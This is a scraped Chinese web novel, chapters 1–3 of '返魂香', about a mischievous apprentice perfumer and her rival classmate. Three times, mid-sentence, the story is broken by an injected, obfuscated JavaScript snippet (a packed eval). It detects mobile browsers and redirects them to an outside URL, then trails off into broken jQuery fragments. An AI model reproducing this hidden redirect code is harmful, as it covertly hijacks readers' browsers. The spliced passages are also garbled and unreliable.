《返魂香》 1. 往事(一) 自打顾千芊有意识起,便和师父闻人倩一家子一起住在常青山。 闻人倩是出身天香殿的妙香师,她的夫君谢瑾据说是当年京城颇具名望的贵族,两人相携隐居,带着女儿谢谣和小徒弟顾千芊到这前不着村后不着店的山沟体验生活。 四人住的这座山原来叫做常青山,寓意是一年四季山常青翠,后来当地官员为了推动旅游业发展吸引外商投资,觉得常青山这个名字太俗气,单单云州城就有三座常青山,实在是太过平庸,于是编了些子虚乌有的古籍硬是把它改成了瑺箐山,也许他们认为笔画多看起来更显高端大气,不知所云才更上档次。 闻人倩怕徒弟野惯了,将顾千芊报进了山下的私塾旁读,不求她学些墨水,只求她安生点别惹祸。 顾千芊和宋子溪之间的梁子,就是那时结下的。 那时顾千芊尚还幼齿,脾气却生猛,自诩静若金刚罗汉,动如风驰电掣,既可徒手斗大虫,又可弯弓射大雕,可谓为常青山一霸。 她初进学堂,野心不小,自认为担任着统一私塾一众小学徒,以便过家家做游戏可统一安排管理的重任,很是豪情满怀。 但此时正如东汉末年,天下三分,除却几个忠心耿耿跟随她摸鱼爬树的几个甩鼻涕小丫头,还另有两股不容小觑的势力。 一股势力为巷尾屠夫猪肉荣的独子荣虎领头,群成员皆是游手好闲的学渣,荣虎一开始瞧着顾千芊初来乍到却锋芒毕露就很不爽,这豆芽菜小丫头爬树掏鸟摸鱼抓虾,样样比他强上一筹,众人纷纷投以倾佩的目光,死忠们纷纷倒戈,颇有大姐头一枝独秀的风头。 这就丝毫不给地头蛇荣哥面子了,荣哥很生气,后果很严重,他琢磨着想给对方下个马威。 一日,一群小孩聚在一起玩过家家,恰巧抓阄抓到顾千芊那派小妹扮孩子她妈,荣虎那头小弟演孩子他爸,这对假父母为了孩子们的晚膳菜单产生了严重分歧,争执了一会儿竟扭打到一起,彼此都挂了彩,都没占着便宜。 顾千芊听说小伙伴被欺负了,撩起袖子匆匆赶来找回场子,于是两派老大相见,分外眼红。 胖墩墩的荣虎是标准的冬瓜体型,一身结实魁梧肥肉,胜算满满地拍了拍胸膛,牵着两只自己从小养大的黑色恶犬壮声势,准备凶猛上前讨个说法。 可他一看见顾千芊轻抬手臂,那袖口轻荡,飘出一缕甜香,他的两只爱犬瞬间眼神一变,临阵倒戈,将尾巴旋转成了大陀螺,吐着舌头一脸谄媚的贴近顾千芊,嗷嗷呜求抚摸求垂怜。 两只恶犬又是翻滚露肚皮又是表演转圈圈,片刻后竟还争上宠了! 没见过妙香术的荣虎小朋友呆立当场,揉了揉眼睛不敢相信自己所见。 顾千芊在一片惊叹声中满足地收了幻香术,雄赳赳气昂昂地朝荣虎走来:“你是不是,欺负秀莲的那个胖子?” 荣虎退后几步,咽了口唾沫:“我不是我没有……那个,都是误会。” 顾千芊叉着腰,将他上下打量:“怎么了,还不服气想再打一架?” 荣虎见她冷笑着步步紧逼,慌了神:“你想干什么?”旁边的荣虎党羽又软语相劝:“芊芊妹妹,小姑娘家家不好动粗的。” 顾千芊抬起下巴哼一声:“谁是你妹妹!我的真面目是你爹!” 语毕挺身而上,一掌劈在荣虎后颈,荣虎嚎一声苦兮兮软瘫倒地,被一哄而上的顾党追随者们五花大绑缠在树上,围观示众一炷香的时间,脑袋上还被插了数只小白旗。 场面好不凄惨。 这一幕全都被藏在树后的宋子溪看在眼里。 另外一股势力以学堂里的好学生乖宝宝为主,首领是宋子溪同学,非常得严厉的私塾先生疼爱。 宋子溪生得一副清秀好皮囊,顾千芊第一次看到他时,他正在桃花树下耐心喂一只流浪的小猫,树荫交错,斑驳光影映在他的侧脸,仿佛连眼神都变得温柔。 顾千芊心头一跳,那株桃花树明明已绽放许久,但没来由的,竟觉得它像是刚那一瞬开花,繁花似锦,飘摇招展,都敌不上眼前人一个微笑。 顾千芊光顾着看美人,没注意看路,砰得一头直直撞在了桃花树上,磕了好大一个包。 她摸了摸额头上的包,不以为意,笑眯眯地:“你叫什么名字?” 宋子溪很有礼貌,矜持点头:“宋子溪。” 顾千芊挺起胸膛,伸出手表示友好:“我叫顾千芊,江湖上都叫我千哥,你要是跟了我,以后我罩着你,保管你以后游手好闲不务正业吃香喝辣。” 宋子溪看着明显比自己年龄小,矮了一整个头的顾千芊,瞥见她伸出的,方才爬树留下印记的脏兮兮黑乎乎的手掌,露出了明显的嫌弃表情。 闻人倩的愤怒嗓音由远至近:“顾千芊,你又在欺负别人!” 顾芊千赶紧转头打算溜掉,却被赶来的师父闻人倩一把拎住后脖筋,骂骂咧咧带回家。 面子丢大了,顾千芊恶狠狠地瞪了宋子溪一眼,眼神里满是威胁,警告他不能把这件事说出去。 宋子溪无语转身,将顾千芊使用幻香术威胁人,双方聚众斗殴的前因后果,干脆利落的告诉了学堂里的老夫子。 老夫子气的胡须哆嗦颤抖,在场犯事人员皆被各打五下手心板,顾千芊作为主肇事者还被罚回家抄十遍弟子规。 她抄书抄到手软之际恨得牙痒痒,本来还有点怜香惜玉,现下对这个不愿归附心机颇深的宋子溪完全没什么好感。 在两派势力彻底交恶前,顾千芊迷上了看画本。 她近来看了套画本《狼侠》,对拥有狼神力量的主人公行侠仗义的戏码神往不已,便以包一个月的零嘴为报酬,翘课拉着谢谣陪她装装逼演演戏。 常青山以前并不安宁。 这山头早前就窝着一群山匪,仗着天高皇帝远横行霸道,占地为王,犹爱打劫路过此山落单的,手无寸铁之力的山下村民们。 比如今日,半山腰一条荒凉的小道,一个瘦弱的书生模样的年轻人,被几个山匪拦住要收过路费,他惊慌地掏出兜中仅有的一点碎银,颤着嗓道:“真……真就这些……” 话音未落,半空中突然狂风发作,一位天外来客在这骤风卷叶的萧瑟背景中凭空落下,开场酷炫,落地的瞬间却重心不稳,踉跄了下,没稳住扑通一声摔了个狗啃泥。 来人是个绿衣小姑娘,模样尚幼齿,玲珑可爱,扎着两个翘起来的小辫,正是顾千芊。 她转过头对后头怒道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107036|163925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谢谣,你绳子放早了!” 不远处的草丛里响起一个幽幽的声音:“不是我放绳子时机不对,是你做的这个木吊机质量不行,在关键时刻嗝屁了。” 顾千芊一噎,没得办法,拍了拍身上沾的泥土,掏出口袋里的小抄飞快瞟一眼,清了清嗓子抑扬顿挫道:“尔等宵小之徒祸害山林已久,今日本大侠便替天行道,解除封印现真身与你们拼死一战!” 语罢撕开手臂上粗糙缠绕的绷带,露出手臂上,用劣质颜料画的一个呲牙咧嘴的狗头,倒退两步,演技拙劣:“啊好痛!我感觉力量在源源不断涌入我体内!这是狼神的力量!” 谢谣:“……” 土匪们看着这个不知道从哪冒出来的小姑娘,看着这无语又蠢萌的激情表演,都有些愣怔,待反应过来,乐不可支:“哈哈哈哈哈!” “这哪来的小姑娘,再捣乱打屁股了啊。” “信不信叔叔给你奶粉都扬了,让你知道社会的险恶!” 按原本的计划,在顾千芊解开手臂绑带的封印后,应有滚滚黑烟四溢,草丛里的谢谣动了动,丢过去一个烟球,好巧不巧,那烟球刚被点燃,刚好砸到顾千芊的一侧衣角,轻薄的布料瞬间被点燃,然后土匪们看到这小丫头嗷一声在地上飞快打滚乱窜,鸡飞狗跳半晌才把这簇火苗给灭了。 众土匪:“……” 谢谣将头别过去,不忍直视。 在短暂的寂静后,山匪团伙笑得撕心裂肺,就连被打劫的书生都忍笑到表情扭曲……山脚小道充满着快活的气息。 顾千芊丢脸不丢人,顶着个鸡窝头站起来,装的煞有介事,有模有样地沉吟片刻,板起脸严肃道:“好强的魔气,看来是没法用咒语净化你们了。” 意思是嘴炮台词结束,接下来是用拳头见招了。 顾千芊扭了扭纤细的脖子,把手上的关节捏得哔咔作响。 带头的老山匪头仍然在捶地狂笑,然而他的笑容瞬间凝固在脸上——顾千芊身影一闪一记勾拳,嘭的一声闷响,山匪的半张脸瞬间被揍到扭曲,鼻血四溅,他惊恐地扑倒在地,噗一口吐出一颗带血的后槽牙,难以置信:“你、你……” 顾千芊扬起脑袋,面色冷酷,朝山匪们勾勾手指:“剩下的,一起上吧。” 夜郎侠自诩心怀侠义,同情弱者,不先发制人,动一次打一次,结果自然是动次打次动次打次,场面一片狼藉,血花四溅,十分凄惨。 看到鼻青脸肿的众土匪们连连痛哭讨饶,她满意地拍了拍手。 顾千芊一转身,轻轻揪住那正要趁乱溜掉的书生的衣襟,没用什么力气,就听到衣襟被呲啦撕开的声音。 她露出高人般深沉的表情:“你不用谢我,只需要到处宣传下夜狼侠的传说就可以了。” 顾千芊松手,书生连滚带爬面带惊恐逃走了。 藏身在不远处草丛里的宋子溪和一众带刀黑衣侍卫:“……” 领头的黑衣侍卫迟疑片刻:“小公子,小殿下好像……根本不需要我们现身保护啊?” 宋子溪扶额:“行了,你们先回去罢。我会传信和陛下解释。” 顾千芊和谢谣翘课装逼之事,又被宋子溪干脆利落的捅到了私塾先生跟前。 2. 往事(二) 因为宋子溪的告状,悬梁刺股抄完二十遍弟子规的顾千芊已经出离愤怒了。 顾千芊决定给他个教训。 她在宋子溪上学必经的路上埋伏,隐蔽地躲在树上,手里拿了个小巧灵活的弹弓,想把弹珠射击在宋子溪身上。 嗖的第一下,正巧擦过他的左肩,他一侧身正好避过,嗖的第二下,刚好滑过他头顶,他弯了下腰未中靶心,神射手顾千芊气呼呼鼓腮,还真不信邪了! 嗖的第三下,正中他右小腿,可怜的宋子溪晃了晃身子,吧唧一声倒地,而且身子不歪不斜正好摔在隔壁翠姨家的鸡窝里,翠姨家宝贝的下蛋母鸡被吓的咯咯乱叫,扑棱着翅膀惶惶逃走,眨眼没了影子。 顾千芊握拳,在心头吹了声愉悦的口哨,她等了片刻,等不来对方气急败坏站起来或恼羞成怒大骂罪魁祸首,竟是保持瘫痪倒地的姿势一动不动。 良久,顾千芊心头渐慌,她这不过是聊以泄愤的恶作剧,该不会,玩大了吧? 她挣扎片刻后终是良心不忍,一溜烟爬下树,弯下腰战战兢兢去探宋子溪的鼻息,刚伸手就被一只手紧扣住手腕,正对上一双清亮狡黠的眼眸。 宋子溪眨眨眼,抓住顾千芊的手淡定地站起来,佯作受伤问:“你干嘛用石头砸我,你不知道石头锋利边缘是尖的,很有可能会砸出脑出血的吗?” 顾千芊赶紧辩解:“我用的是弹珠不是石头!不是尖的!” 宋子溪慢悠悠道:“哦,你承认了是你在背后偷袭我啊。” 顾千芊一时语塞:“……”被套路了!这个心机男! 两人对峙片刻。 宋子溪惋惜道:“你闯大祸了。如果不是你在背后拿弹珠砸我,我就不会摔在鸡窝里,我不摔在鸡窝里,就不会摔碎鸡蛋,不会惊跑母鸡,翠姨就不会举着扫帚来找我们算账……” 顾千芊心头拔凉拔凉,翠姨的河东狮吼和一手舞得出神入化的锅铲她可是见识过的,她如霜打的茄子般耷拉着脑袋,弱弱道:“鸡窝虽然是你摔的,可,可我也有责任,大不了我们两一起被挨骂,大丈夫做事不能怂……” 宋子溪露出一个纯良的微笑,他拉着顾千芊来到鸡窝前,示意她蹲下去:“我去找老母鸡回来,你在这里好好呆着,照顾这些鸡蛋。这些鸡蛋若是离母鸡久了,就不会孵化出小鸡仔了。” 语罢还捡了地上数根鸡毛,尽数插在顾千芊脑袋上,郑重道:“你再多插些鸡毛,这样鸡蛋们会误以为鸡妈妈还没走,不然后果很严重。” 顾千芊一脸懵逼地被他摆弄,插了满头鸡毛半蹲在鸡窝里,宛如一个智障。 她琢磨着回过神来,有些愤怒:“为什么是我干这个蠢事,而是你去找母鸡?” 宋子溪面不改色:“你是女孩子,孵鸡蛋自然是你来,我一个男的怎么孵的来,小鸡蛋们可聪明了,不会认我的。” 说的好像也有道理,竟无言以对。 顾千芊半信半疑地乖乖窝在鸡舍里,看着几个破了壳的鸡蛋又是愧疚又是心疼,小心的把剩下的鸡蛋抱在怀里,似是怕惊吓到了鸡宝宝们,还轻柔地吹了吹:“蛋蛋们乖,娘亲马上回来,现在先睡觉觉。”随即又瞪一眼宋子溪:“你还不快去找母鸡妈妈!” 宛如一位家带孩子的全职夫人,恨铁不成钢地数落不务正业的丈夫。 宋子溪:“……”天呐这个人怎么这么蠢。 他忍笑道面目扭曲,清了清嗓子,高声大叫:“啊——” 翠姨抄着锅铲骂骂咧咧从里屋出来,她一瞧见这狼藉的鸡窝,破碎的鸡蛋壳,不见踪影的母鸡,当下撩起袖子火气上头:“好你们两个兔崽子,敢动我的鸡!” 方才还说好同一战线友好合作的宋子溪立马换了副脸色,惶惶然,伤心欲泣道:“这,翠姨,我也不知道,我刚来的,来了就看到,看到她捣毁了鸡窝,还拔了母鸡的毛……” 顾千芊登时大怒,跳起来:“明明是你摔的鸡窝你磕的鸡蛋!你个小骗子!” 宋子溪是左邻右舍公认的模范优等生,长得俊嘴巴甜,成绩好脾气乖,是这一整条街巷长辈口中用来训娃用的“别人家的小孩”,相反顾千芊则是远近街巷出名的泼皮捣蛋鬼,三天不揍就上房揭瓦。 且看现在,宋子溪身上衣衫整洁,彬彬有礼,顾千芊脑袋插满鸡毛,还正经蹲在鸡窝里,出言不逊,孰是孰非自然不用分辨。 翠姨脸色铁青,怒目而视:“顾千芊!你做错事就算了,还故意赖人家泼别人脏水!这事我肯定要找你师父道个分明!这鸡蛋和鸡你必须得赔我!” 翠姨骂骂咧咧推搡着顾千芊走远,一路喷了她一脸唾沫星子,顾千芊临走前回头,留给宋子溪一个草民敢尔的盛怒眼神。 小子,你知不知道你这是在玩火。 宋子溪微微一笑,动了动唇,看嘴型说的正是两个字:“活该。” 很好,你小子,已经成功引起我的注意了。 某日课后,顾千芊在宋子溪必经的小道将人堵住,叉着腰看着对方,不怀好意地冷笑。 “宋子溪,我要和你决斗!” “谁输了就叫谁爸爸!敢不敢?!” 宋子溪翻了个白眼,把她当做透明的空气般,正待面无表情目不斜视地走过,被顾千芊揪住了衣袖,她得意洋洋地挑眉:“你怕了?” 宋子溪把她的手吧唧一下拍开,挑眉道:“……无聊。” “我现在很忙,可没时间陪你过家家。” 顾千芊炸毛,她从袖口掏出一封信,扬了扬:“你要是不答应和我比试,这封被我截下的信就不还你了!” 知己知彼方百战不殆,她连着跟踪了宋子溪三日,充分掌握了对方的作息规律,知道昨日黄昏时分,宋子溪神神秘秘在房间内捣鼓写信半天,小心翼翼用信鸽寄出了一封信。 她用幻香术迷晕了信鸽,成功截胡,这封信对宋子溪来说应该非常重要,就不信他还敢整什么幺蛾子。 果然,宋子溪一看到这刻着红印章的信封,脸色瞬间变了:“你哪里找来的?还给我!” 顾千芊成功刺激到对方,吐舌头扮了个鬼脸,左闪右躲避开慌张来抢信的宋子溪,拆开信封,抖出里面的信纸,草草扫了一遍,突然惊奇:“千……芊?唉不对,为啥这信上有我的名字?你写我名字干嘛?” 这一惊一愣间,被宋子溪找到了空隙,他一掌拍向顾千芊的胳膊,侧过身一把扯回信,顾千芊被这乍然一袭一个踉跄,回过神来飞速扫腿,将宋子溪绊倒,两个人双双摔在地上。 见顾千芊鲤鱼打挺还要来抢信,宋子溪果断将信瞬间撕的粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107037|163925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎,顾千芊一记猛扑,将刚刚起身的宋子溪脸朝地按在泥坑里。 爱干净又有洁癖的宋子溪一身泥渍,何曾这么狼狈过,优雅和礼数被丢至脑后,他脸色铁青,咬牙切齿,揪住她的小辫:“你这哪像个女孩子?就是个没人要的糙猴!” 小辫子被人揪住,疼地眼泪都快出来了,手下一群小弟,从来都是耀武扬威的顾千芊何曾这么丢脸过,她深恶痛绝,咬住他的胳膊:“你以为糙猴会看上你?假惺惺的蠢书呆!” 一个揪住辫子,一个咬住胳膊,就这么僵持片刻。 顾千芊突然想到了什么,脸色几度变换,松了口,突然压低了声音,难以置信道:“宋子溪,那封信……” 宋子溪松了手,一瞬紧张,她猜到了?不可能,以她的智商,能猜到什么? “该不会……该不会是你写给我的情书吧!”如此紧张,如此重视,莫名其妙写着她的名字,还能是什么?回想起对方一直暗中关注自己执着于打小报告,顾千芊寒毛都要倒竖了。 宋子溪:“……” “谢谣前段时间和我说过,如果有一个男孩子一直关注一个女孩,那就是因为他喜欢她。啊,我终于明白了,原来你苦苦暗恋我啊。” 宋子溪耳尖泛红,恼羞成怒:“胡、胡说八道!怎么可能!” 斩钉截铁,语气铿锵:“我就是饿死,从高楼上跳下去,不嫁娶,也不会喜欢你!” 顾千芊被他视死如归的毒誓伤到了,愤怒一掌呼过去:“我呸!谁喜欢你,谁就是孙子!” 两人自此不共戴天,水火不容,鸡飞狗跳。 君住青山头,我住青山尾,日日烦君还见君,共饮私塾墨水。 今天他抢了她的桂花糕,她抄起扫把追着他喊:“宋狗贼纳命来!” 明天她用他写好的功课剪窗花,他掐着她的脖子嗷嗷叫:“顾千芊我要你狗命!” 顾千芊自此有了新的人生目标,那就是狠狠地折腾宋子溪,想让他当众出糗名声扫地,然而她的计谋每次都是半途而废,铩羽而归。 她会在宋子溪推学堂房门而入的瞬间引发机关,使得挂在门框上头的水桶瞬间倾倒下来,结果不料误伤了私塾老先生,被淋成落汤鸡的老先生一顿怒斥,又是罚站又是抄书。 她偷摸摸在宋子溪的凳子上粘上强力胶水,结果被机智的宋子溪神不知鬼不觉调换了凳子,导致她只能屁股粘着凳子羞耻地捂脸回家。 午睡时她强撑着守住,想在他睡着后好往脸上画红叉,结果自己不知何时睡着了,反被被宋子溪画成了花脸猫。 诸如以上种种。 渐渐地,两人的互相折腾到成了每日必修课,偶尔有几日宋子溪消停了懒得报复了,顾千芊也会坚持不断骚扰,想着法子来找他的茬,让他片刻不得安生。 没有人治的了她,宋子溪打小报告打的生无可恋。 终于他忍无可忍在回家路上堵住她质问:“你够了没,折腾我有什么意义吗?!” 顾千芊得意一笑,伸出一根手指在他眼前摆了摆:“捉弄你还能是为什么,自然是图个乐子。” 宋子溪:“……” 宋子溪双手合十,猛虎跪地式甘拜下风。 要不是任务需要,打死他也不想接近这个小祖宗了! 3. 往事(三) 顾千芊正值青春叛逆,中二症到了晚期。 这到也不是什么奇怪的毛病,像她这个岁数的小屁孩,每天脑海充斥着:“我与别人是不同的”、“错的不是我,是世界”、“这才是真正的智慧”、“如果有反例,就参看上面三条”。常常幻想自己天赋异禀骨骼清奇,身怀仙人血脉或偶遇神迹能用朵蜜能量变身,必然会成为一代武林天骄或极道魔尊,被世人称颂成一代传奇云云…… 是以她疯狂迷上了一套画本集,笑狐公子的新作《乾坤诀》。 笑狐公子是近年来的画本圈新秀,笔下画风犀利传神,故事情节跌宕热血,《乾坤诀》画的是一位少年萧遥,练就一手出神入化的剑法,学成后奉师命下山匡扶正义,浪迹江湖,降妖除鬼,锄强扶弱快意恩仇。正中顾千芊的中二胃,她对笑狐公子崇拜不已,奉为知己。 顾千芊痴迷爱豆,无心向学,屡屡逃课去城南书摊处抢购最新的签名本,此外她还结实了好几个同样不学无术的中二症病友,一次课后,宋子溪无意路过这群煞比的大本营。 这群煞比在废弃角楼折腾出的一个秘密基地,整体风格也是走的装逼酷炫风,非常的阴暗诡异,色调是昏沉的黑加上嚣张的红,暗黑的墙上用血红的颜料涂着“吾欲成魔”等等羞耻辣眼的句子。 这帮人模仿书中的招式摆弄下花拳绣腿,然后开始商业互吹。 “才几日不见,王兄的符咒威力就增值不少,不愧是天下第一符神!” “哪里哪里,听说叶兄近来又收服了不少游浮魂成式神,可谓灵法深厚,潜龙于渊,乃吾辈之幸!” 接下来的扯淡无非就是目前时态之险恶,局势之动荡,拯救世界之刻不容缓。 暗中躲在墙角偷听的宋子溪:“……” 顾千芊得空就逃课出来,和自己的塑料兄弟们吃吃喝喝演演戏。本来就懒怠上学,这么上下一折腾,她心思彻底不在读书上了,课业荒废得厉害。 私塾先生见顾千芊三天两头拖拉作业,恨铁不成钢,气得绵羊胡子直哆嗦,派了心腹宋子溪课后监督她罚抄重写,顾千芊正待出门去抢第四册新出炉的画本集,心心念念的都是新剧情,哪有心思补课业,只放下身段央求宋子溪放她出门。 宋子溪铁面无私,面无表情地拒绝了:“不行,先生留的功课做完之前哪也不许去。” 顾千芊内心骂了他一句憨逼狗腿子,比比手指哀求:“就出去一会儿,我马上就回来。” 宋子溪一脸冷淡,不为所动:“呵,你上次也是这么说的。” 然后等到日落西山了也不见人影。 我信了你的邪。 大丈夫能屈能伸。顾千芊决定抛弃节操曲线救国,她拽着宋子溪的衣角晃了晃,眼睛眨巴眨巴,声音可怜巴巴:“放我出去嘛,我真有很重要的事情,拜托啦,宋哥哥……” 她仗着自己脸蛋生得可爱,平时师父生气了也都是靠扮娇卖萌保命的,试问谁能拒绝小姑娘软萌撒娇的包子脸呢,任你再百炼钢也化成绕指柔!这招保证管用。 宋子溪盯着她看了半晌,仍斩钉截铁无情道:“不行就是不行。我不吃你这套,再撒娇也没用。” 顾千芊瞬间翻脸,气呼呼坐下,抱臂瞪着他:“哼!” 宋子溪:“那你和我说说,你要出去做什么?” 顾千芊傲娇转头,留给他一个后脑勺,颇为不屑道:“说了你也不懂。” 宋子溪把她拉过来坐在身边,指指身旁垒的高高的课业本,语重心长:“平时没事别整天和那些游手好闲的学渣们胡混,还不如找我来帮你补功课。” 顾千芊像被踩了尾巴的猫一样,瞬间炸毛跳起来:“我是和他们交流漫画心得,什么叫胡混!我们这都是为了自己的爱豆笑狐大大!” 又像只小公鸡一样傲气挺胸道:“你一个天天只知道读书的书呆,又不是人家票圈的,你懂什么叫乾坤诀吗?你知道什么是归魂咒七禽神术太阴奇门阵吗?嘁!肤浅!” 宋子溪沉默片刻,表情略古怪:“你在看乾坤诀啊?” 顾千芊伸两指比天对誓:“我可是这套画本的钢粉丝,任他风吹雨晒不会生锈的那种!” 她郑重其事地清了清嗓子,一拍桌子,疯狂安利:“乾坤诀的作者笑狐公子知道吗,他上知天文,下知地理,左知兵法,右知算术,琴棋书画,样样皆精。不只是天资聪颖,你知道我爱豆有多努力吗?他夜夜头悬梁,锥刺股,染了风寒病得昏迷还坚持在梦中画画,你们行吗?你知道我们笑狐大大为了赶稿出画本,为了青少年们有漫画看得以身心健康成长有多努力吗?哼。” 是一个非常尽职的笑狐吹了。 宋子溪想了想,艰难道:“我觉得,你们可能对他有点误会。一册画本出版就可以入账好几百两,也许,他画画本只是单纯为了赚钱。” 顾千芊一脸恼怒叉了腰又要辩论,宋子溪头疼不已,为了完成老夫子交付的任务,他不得不拿起果盘里一块荷花酥堵住她的嘴:“我刚好和城南书摊店老板有点熟……你好好抄古文,等课业补全了,我送你一本笑狐公子亲笔签名的。” 他顿了顿:“再让他给你在扉页上写个好好学习天天向上什么的。” 顾千芊咽下荷花酥,掩面害羞:“你能让他写上,赠可爱的芊芊吗?” 宋子溪有些无语,但答应得很爽快:“没问题,你乖一点,我让他再给你画个粉色桃心。” 几日后,宋子溪不知道用了什么法子,竟真的搞到了一整套绝版金皮签名的乾坤诀。 顾千芊大喜过望,拉着不情不愿的宋子溪讨论画本中的情节。 聊起乾坤诀画本集里最欣赏的的人物,两人的观点大有不同,顾千芊捧着脸面颊粉红:“我最欣赏的自然是男二青莲公子了,风度翩翩温润如玉的,我就爱这类的。尤其是第二册里那卷英雄救美的场景,要我是女主肯定百分百沦陷啊。” 语罢又嫌弃状:“其实我不是主角粉,男主萧遥聪明归聪明,就是太喜欢算计人,一肚子坏水,感觉就和你一毛一样。” “还有啊,你不要以为你送了我画本我们就和好了,这是两码事,我发过誓,不把你整到出糗出口恶气我决不罢休!” 宋子溪扶额:“……” 这小祖宗不光爱欺负人,还是个睚眦必报的小心眼。 一月后顾千芊抢到了新出版的乾坤诀第五册,她悲痛地发现她最爱的青莲公子在此卷中被妖魔戳戳死了,不少书友大叹可惜,虽然觉得此处男配死的其实有些突兀,但脑残粉们觉得笑狐公子让这一个重要的角色突然狗带,一定有他的深意。 顾千芊为此颓废了两天。 *** 闭关了两天的顾千芊很快恢复了精神。 她是一位有理想的见习妙香师,人生梦想是像师父看齐,有朝一日能成为天香殿的首席大香师,虽然外人看来她只会不务正业调皮捣蛋,但在调香的课业上,她素来勤勉从不惫懒。 最近师父已经开始教她接触幻香境,幻香境,是妙香师利用幻香术制造出来的一方结界,幻香境吸引人的神识入境,如果神魂在境中被困,不能找寻到出口,现实肉身将会一直沉睡于梦境中。 高明的妙香师调制出的幻香境,里面的一切都堪比现实,包括肉身触感还有喜怒哀伤的情绪,常让人有不知何处才为真实的错觉。 现实中有不少人逃避现实,花高价请妙香师为自己编制一场虚无香境,沉迷于虚假的美梦中不愿醒来,此乃香瘾。 顾千芊琢磨了许久如何幻化香境,废寝忘食了两日后终于小有所成,成功进入到香境中。但不想一时大意,知道了怎么调制香境,却不知如何出来,只得被尴尬地困在香境中。 她才初学幻香境,技艺难免生疏纰漏,调出来的香境也只是一片荒漠,里面什么都没有。 她在幻香境中焦急得找了半天出口,却等来了一位不速之客——不知为何,宋子溪也跟着进入到香境中了。 原来是夫子让他去找顾千芊催课业,他找到她的秘密香室,见房间里空无一人,只闻到一阵清雅馥郁的冷檀香,便失去意识晕了过去。 待回过神来,视线所及便是荒凉无际的一片沙漠。 两个人道明了前后缘由,在香境荒漠里大眼瞪小眼。 两人在荒漠中徒步搜寻,宋子溪一不小心,没注意路扭伤了脚踝,疼的额头直冒汗,顾千芊见状,弯下腰:“上来吧,我背你走。” 宋子溪坚决摇头:“你是女孩子,不能让你背我。” “之前开玩笑的时候还说我的麒麟臂比男人还男人,现在知道心疼小妹妹啦。”顾千芊摸了摸鼻子,催促道:“别磨磨唧唧的,快上来,小心我公主抱你哦。” 宋子溪伏在顾千芊背上,少女的背纤细却温暖,她突然闷闷开口道:“对不起。”如果不是她创作香境时的失误,他不会被困在这个地方。 宋子溪安慰她:“现在难兄难弟,有什么好道歉的,你一个人在这里想尽了办法也很害怕吧,我还庆幸有我进来,好歹和你作个伴。” 顾千芊拍拍胸膛:“你放心,天无绝人之路,船到桥头自然直,总会有办法的。” 这个小姑娘,她永远这么朝气蓬勃,热情洋溢,像个发光的小太阳。 宋子溪只觉得心头涌上莫名的暖流,他突然低声道:“谢谢你。” 顾千芊没听清:“哈?” 宋子溪沉默片刻,低低道:“我刚到私塾不久,荣虎因为我成绩好被先生夸赞心生嫉妒找我麻烦,撕了我的课业本,说我是没娘管的野孩子,我气不过撕了他的国文书,是你站出来帮我说话帮我揍了他,后来还站出来帮我争辩,揽下了所有过错。” “这件事情,我还没有和你道过谢。” 顾千芊回忆了一下,满不在乎道:“没事啦。你一个好学生从来没被罚过,又脸皮薄,反正罚都罚了,责备我一个人就够了。” “我也是从小没了娘啊,我最不喜欢听到这句话了。没娘管就没娘爱了吗,我师父说我娘亲很爱我,只是她身子差生下我没多久支撑不住就去了,没有娘亲不爱自己的孩子的,你不要多想。” 宋子溪道:“嗯,我娘也很爱我。” 两个人又在荒漠香境里不知转了多久,后来是宋子溪搀着她走,两人体力不知愈发困倦,顾千芊饿的眼冒金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107038|163925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星,腿来回打晃。 宋子溪抱着顾千芊寻了处落脚的地方坐下歇息,他让顾千芊的头枕在自己腿上,看着她原本红润的包子脸憔悴苍白,心中五味陈杂。 顾千芊闭眼眯了片刻,摸了摸咕咕叫的干瘪肚子,突然心头一阵慌乱,这个香境她也控制不好,她怕她这么睡过去,醒来发现身边人叫不醒了该怎么办,她猛地起身:“宋子溪。” “嗯?” 片刻后。“宋子溪宋子溪。” 宋子溪握住她的手。“我在的。” “宋子溪,你说我这辈子会不会就交代在这里了,啊不过我觉得我体内有洪荒之力,乾坤诀里说高明的大法师死后魂魄不灭,我觉得我这么厉害,死了也是个牛逼的幽魂散仙,对不对。” 真的是生命不息,中二魂燃烧不止,宋子溪本来有点眼圈发红,又被她逗笑了。 “你不会有事,我会想办法。”宋子溪摸摸她的头发:“先闭嘴,好好休息。” 实在没想到,自己还有和死对头好好坐下来聊天的时刻,这现实真的有些魔幻。 “啊好无聊啊,太安静了。”顾千芊嘴巴一刻不得闲,闭上眼喃喃:“宋子溪你唱歌给我听吧。我还没听过你唱歌呢。” 宋子溪脸色一僵:“我不会唱歌。” 